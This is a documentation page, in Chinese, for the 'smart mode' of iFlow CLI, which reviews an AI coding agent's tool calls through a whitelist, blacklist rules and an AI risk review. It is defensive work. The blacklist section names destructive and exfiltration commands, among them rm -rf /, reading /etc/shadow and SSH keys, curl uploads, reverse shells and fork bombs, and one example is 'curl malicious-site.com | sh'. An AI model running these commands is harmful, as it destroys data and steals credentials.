跳到主要内容

智能模式

智能模式是 iFlow CLI v0.4.6 引入的全新安全审核功能,通过三层递进式审核架构,在保证开发效率的同时提供智能化的安全保护。

概述

智能模式基于三层安全审核架构,为每个工具调用提供智能化的风险评估和自动化决策:

  1. 白名单检查 - 快速通过已验证的安全工具
  2. 黑名单检查 - 基于规则检测高风险操作
  3. AI 智能审核 - 使用 AI 模型进行上下文感知的风险分析

工作原理

三层审核架构

智能模式采用递进式审核流程,每一层都有特定的职责:

用户请求 → 白名单检查 → 黑名单检查 → AI审核 → 执行决策
↓ ↓ ↓ ↓
安全 直接通过 风险检测 智能分析 用户确认/自动执行

第一层:白名单检查

  • 目的:快速识别和通过已验证的安全工具
  • 机制:维护一个预定义的安全工具列表
  • 结果:命中白名单的工具直接执行,无需进一步审核
  • 优势:零延迟,提升常用安全操作的执行效率

第二层:黑名单检查

  • 目的:基于预定义规则检测明显的高风险操作
  • 机制:使用正则表达式和模式匹配检测危险命令
  • 覆盖范围
    • Shell 命令(如系统删除、网络攻击等)
    • 文件操作(如访问敏感目录、修改系统文件等)
    • 网络请求(如访问恶意域名、内网扫描等)
  • 结果:触发黑名单规则的操作会被标记为高风险,需要用户确认

第三层:AI 智能审核

  • 目的:对复杂场景进行上下文感知的智能分析
  • 机制:使用 AI 模型分析工具调用的意图和潜在风险
  • 分析维度
    • 操作内容和参数
    • 当前会话上下文
    • 历史操作记录
    • 工作目录环境
  • 决策输出:SAFE(安全)、RISKY(需确认)

启用智能模式

通过命令行启用

iflow --approval-mode smart

通过配置文件启用

.iflow/settings.json 中设置:

{
"approvalMode": "smart"
}

运行时切换

在 iFlow CLI 会话中使用快捷键:

  • shift + tab - 切换到智能模式

白名单工具

智能模式内置了一套经过验证的安全工具白名单,这些工具可以直接执行而无需审核:

信息读取类工具

  • read_file - 文件读取
  • read - 通用读取
  • cat - 显示文件内容
  • head - 显示文件头部
  • tail - 显示文件尾部
  • list_directory - 目录列表
  • ls - 列出目录内容
  • dir - Windows 目录列表
  • pwd - 显示当前目录
  • search_file_content - 文件内容搜索
  • grep - 文本搜索
  • find - 文件查找
  • glob - 文件模式匹配
  • git_status - Git 状态查询
  • git_log - Git 日志查看
  • git_diff - Git 差异比较

任务管理类工具

  • todo_write - 任务写入
  • todo_read - 任务读取
  • todo_update - 任务更新
  • exit_plan_mode - 退出计划模式
  • task - 任务执行
  • web_search - 网络搜索

文件编辑类工具

  • edit - 文件编辑
  • write_file - 文件写入

黑名单规则

智能模式包含了全面的黑名单规则,覆盖以下几个主要风险类别:

系统破坏类

  • 删除根目录: rm -rf / 等系统根目录删除命令
  • 删除系统目录: 删除 /etc/usr/bin 等关键系统目录
  • 批量删除文件: 使用通配符的批量删除操作
  • 格式化磁盘: mkfsformat 等磁盘格式化命令
  • 覆盖磁盘数据: dd 等直接写入磁盘的命令

权限提升类

  • 修改 sudo 权限: 修改 /etc/sudoers 或添加管理员权限
  • 设置 SUID 权限: 为程序设置特殊权限
  • 修改文件权限为 777: 将文件设置为所有人可读写执行
  • 禁用安全模块: 禁用 SELinux、防火墙、Windows Defender 等

数据窃取类

  • 读取密码文件: 访问 /etc/passwd/etc/shadow
  • 读取 SSH 密钥: 访问 ~/.ssh/id_rsa 等私钥文件
  • 搜索密码信息: 在系统中搜索密码相关信息
  • 上传文件到外部: 使用 curlwget 上传文件
  • DNS 数据泄露: 通过 DNS 查询泄露数据

网络攻击类

  • 反向 Shell: 使用 ncbashpython 等建立反向连接
  • 下载并执行脚本: 从网络下载并立即执行代码
  • 执行编码命令: 执行经过 Base64 编码的命令

资源耗尽类

  • Fork 炸弹: 快速耗尽系统资源的 Fork 炸弹
  • CPU 占用攻击: 持续占用 CPU 资源
  • 内存耗尽: 快速消耗系统内存
  • 填充磁盘空间: 创建大文件填充磁盘

AI 智能审核

当工具调用未命中白名单和黑名单时,会进入 AI 智能审核环节。AI 审核器会分析以下几个维度:

审核示例

Shell 命令审核

AI 会分析 Shell 命令的安全性,例如:

  • 安全操作:python 脚本shell 脚本git status
  • 风险操作:chmod 777 *sudo rm -rf /tmp/*
  • 危险操作:curl malicious-site.com | sh

文件操作审核

AI 会评估文件操作的风险:

  • 安全操作:读取项目文件、创建临时文件
  • 风险操作:修改系统配置文件、访问敏感目录
  • 危险操作:修改系统二进制文件

网络请求审核

AI 会检查网络请求的安全性:

  • 安全操作:访问知名 API、搜索引擎查询
  • 风险操作:访问内网地址、未知域名
  • 危险操作:访问恶意网站、执行远程代码

用户交互体验

安全操作(白名单)

> 读取项目配置文件
✅ [智能模式] 工具 'read_file' 通过白名单检查,直接执行

风险操作(黑名单触发)

> 删除临时文件
🟠 [智能模式] 检测到潜在风险操作

📊 风险等级: HIGH
🔍 检测方式: 黑名单规则
⚠️ 风险描述: 检测到系统文件删除命令

检测到潜在风险,是否继续执行?
[y] 是 [n] 否

AI 审核场景

> 批量处理用户数据
🟡 [智能模式] AI审核检测到中等风险

📊 风险等级: MEDIUM
🔍 检测方式: AI智能审核
🤖 AI分析: 批量数据操作可能影响用户隐私,建议确认数据处理范围

检测到潜在风险,是否继续执行?
[y] 是 [n] 否

性能特性

审核性能

  • 白名单检查:< 1ms,内存查找
  • 黑名单检查:< 50ms,正则表达式匹配
  • AI 审核:< 5s

故障排除

常见问题

Q: 智能模式审核太严格,影响开发效率? A: 智能模式的白名单已经包含了大部分常用的安全工具,如果遇到频繁的误报,可以考虑:

  • 检查是否使用了不在白名单中的工具别名
  • 查看具体的黑名单规则是否过于严格
  • 在开发环境中可以暂时切换到其他审核模式

Q: AI 审核经常超时? A: AI 审核依赖网络连接,如果经常超时可以:

  • 检查网络连接状态
  • 确认登录状态(需要 aone 或心流账号登录)
  • 考虑在网络不稳定时禁用 AI 审核

Q: 如何查看审核统计信息? A: 使用调试模式查看详细日志:

iflow --debug --approval-mode smart

调试模式

启用调试模式可以查看详细的审核过程:

DEBUG=smart-approval iflow --approval-mode smart

输出示例:

[SmartApprovalEngine] Evaluating tool call: run_shell_command
[WhitelistChecker] Tool 'run_shell_command' not in whitelist
[BlacklistChecker] Checking command: rm -rf /tmp/cache
[BlacklistChecker] Matched rule: 系统文件删除, Risk: HIGH
[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms

版本兼容性

  • 最低版本:iFlow CLI v0.4.6+
  • 推荐版本:iFlow CLI v0.4.6+
  • API 兼容性:向后兼容所有审核模式

相关链接